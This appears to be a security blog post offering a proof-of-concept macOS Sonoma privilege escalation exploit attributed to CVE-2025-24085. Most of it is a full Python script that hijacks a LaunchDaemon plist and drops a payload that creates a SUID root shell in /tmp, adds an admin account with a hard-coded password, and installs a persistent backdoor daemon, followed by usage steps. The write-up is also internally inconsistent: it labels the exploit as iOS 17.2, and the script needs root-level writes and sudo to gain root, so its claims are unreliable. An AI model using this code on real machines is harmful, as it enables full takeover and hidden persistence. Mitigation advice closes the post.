macOS LaunchDaemon Privilege Escalation via com.apple.securemonitor (CVE-2025-24085)
This post contains technical details about security vulnerabilities and exploit development for educational and research purposes only. All techniques described are intended for use in authorized penetration testing, CTF competitions, or controlled lab environments.
Unauthorized use of these techniques against systems you do not own or have explicit written permission to test is illegal and unethical. Always obtain proper authorization before testing.
Disclosure status: Full Disclosure
CVE references link to public NVD / vendor advisories. Proof-of-concept code, where included, is provided after patch availability for defensive research purposes.
Content *
Overview
A privilege escalation vulnerability tracked as CVE-2025-24085 affects macOS Sonoma systems.
The vulnerability involves insecure handling of LaunchDaemon configurations. By manipulating the LaunchDaemon configuration file associated with the com.apple.securemonitor service, an attacker can cause the system to execute attacker-controlled scripts with root privileges.
This flaw enables a local attacker to escalate privileges and obtain full administrative control of the system.
Affected Systems
Vendor: Apple
Affected operating systems:
- macOS Sonoma (14.x)
Tested on:
- macOS Sonoma (ARM64 and x86_64)
Technical Details
macOS uses LaunchDaemons to manage background services that run with elevated privileges.
LaunchDaemon configurations are stored in:
/Library/LaunchDaemons/
Each service is defined by a .plist configuration file.
In the vulnerable scenario, an attacker can modify or hijack the following daemon configuration:
com.apple.securemonitor.plist
By modifying the ProgramArguments entry within the plist file, the attacker can replace the legitimate executable with a malicious script.
When the daemon is loaded or the system reboots, the payload executes with root privileges.
Proof of Concept (PoC)
The following Python script demonstrates how to exploit the vulnerability by creating a malicious payload script and modifying the LaunchDaemon configuration.
#!/usr/bin/env python3
# Exploit Title: macOS LaunchDaemon iOS 17.2 - Privilege Escalation
# Author: Mohammed Idrees Banyamer (@banyamer_security)
# GitHub: https://github.com/mbanyamer
# Date: 2025-05-31
# Tested on: macOS Sonoma (14.x ARM64 / x86_64)
# CVE: CVE-2025-24085
# Type: Local Privilege Escalation
# Platform: macOS
# Author Country: Jordan
# Description:
# This local privilege escalation exploit leverages a vulnerable macOS LaunchDaemon plist configuration to execute
# arbitrary commands with root privileges. The exploit creates a root payload script that adds a root shell binary,
# creates an admin user, and installs a persistent LaunchDaemon backdoor for root access. It hijacks the
# com.apple.securemonitor LaunchDaemon plist to trigger the payload, allowing unauthorized escalation to root
# on macOS Sonoma systems.
import os
import plistlib
import time
from pathlib import Path
LAUNCHD_PLIST = "/Library/LaunchDaemons/com.apple.securemonitor.plist"
PAYLOAD_SCRIPT = "/tmp/.macroot_payload.sh"
def create_payload():
print("[+] Creating root payload script...")
payload = """#!/bin/bash
# Root shell
cp /bin/bash /tmp/.rootbash
chmod +s /tmp/.rootbash
chown root:wheel /tmp/.rootbash
# Add admin user
sysadminctl -addUser pentest -password macOS123! -admin
# Log file
echo "[+] Root backdoor triggered at $(date)" >> /tmp/.rootlog
# Persistent backdoor
cat <<EOF > /Library/LaunchDaemons/com.apple.backdoor.plist
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN"
"http://www.apple.com/DTDs/PropertyList-1.0.dtd">
<plist version="1.0">
<dict>
<key>Label</key><string>com.apple.backdoor</string>
<key>ProgramArguments</key><array><string>/tmp/.rootbash</string></array>
<key>RunAtLoad</key><true/>
</dict>
</plist>
EOF
chmod 644 /Library/LaunchDaemons/com.apple.backdoor.plist
chown root:wheel /Library/LaunchDaemons/com.apple.backdoor.plist
"""
with open(PAYLOAD_SCRIPT, "w") as f:
f.write(payload)
os.chmod(PAYLOAD_SCRIPT, 0o755)
def hijack_launchdaemon():
print("[+] Hijacking LaunchDaemon plist...")
if not Path(LAUNCHD_PLIST).exists():
# create a fake one
print("[*] Creating fake LaunchDaemon plist for exploitation...")
plist_data = {
'Label': 'com.apple.securemonitor',
'ProgramArguments': [PAYLOAD_SCRIPT],
'RunAtLoad': True,
}
with open(LAUNCHD_PLIST, "wb") as f:
plistlib.dump(plist_data, f)
else:
# hijack existing one
with open(LAUNCHD_PLIST, 'rb') as f:
plist = plistlib.load(f)
plist['ProgramArguments'] = [PAYLOAD_SCRIPT]
plist['RunAtLoad'] = True
with open(LAUNCHD_PLIST, 'wb') as f:
plistlib.dump(plist, f)
os.system(f"chmod 644 {LAUNCHD_PLIST}")
os.system(f"chown root:wheel {LAUNCHD_PLIST}")
def trigger_payload():
print("[+] Triggering LaunchDaemon manually...")
os.system(f"sudo launchctl load -w {LAUNCHD_PLIST}")
print("[+] Done. You can now execute /tmp/.rootbash -p for root shell")
def main():
if os.geteuid() == 0:
print("[!] You are already root. No need to exploit.")
return
create_payload()
hijack_launchdaemon()
print("[+] Exploit completed. Reboot or run manually:")
print(f" sudo launchctl load -w {LAUNCHD_PLIST}")
print(" Then run: /tmp/.rootbash -p")
if __name__ == "__main__":
main()
How the Exploit Works
The exploit performs the following actions:
- Creates a malicious payload script in
/tmp. - Copies
/bin/bashand sets the SUID bit to create a root shell. - Adds a new administrative user to the system.
- Installs a persistent LaunchDaemon backdoor.
- Modifies the vulnerable LaunchDaemon configuration to execute the payload.
After execution, the attacker can obtain a root shell using:
/tmp/.rootbash -p
Usage
Run the exploit script:
python3 exploit.py
Then trigger the daemon manually:
sudo launchctl load -w /Library/LaunchDaemons/com.apple.securemonitor.plist
Alternatively, reboot the system to automatically execute the payload.
Impact
Successful exploitation allows attackers to:
- Gain root privileges
- Install persistent backdoors
- Create unauthorized administrator accounts
- Fully compromise the macOS system
Mitigation
Recommended mitigation measures include:
- Apply the latest Apple security updates
- Restrict write access to
/Library/LaunchDaemons - Monitor LaunchDaemon configuration changes
- Use system integrity protection (SIP) and endpoint monitoring tools
Researcher
Security research conducted by:
Mohammed Idrees Banyamer
Cybersecurity Researcher – Jordan 🇯🇴
GitHub: https://github.com/mbanyamer
Instagram: @banyamer_security
Disclaimer
This proof-of-concept is provided for educational purposes and authorized security testing only. Unauthorized use against systems without permission is illegal.
Disclosure: Full Disclosure
Comments
No comments yet. Be the first.
Leave a Comment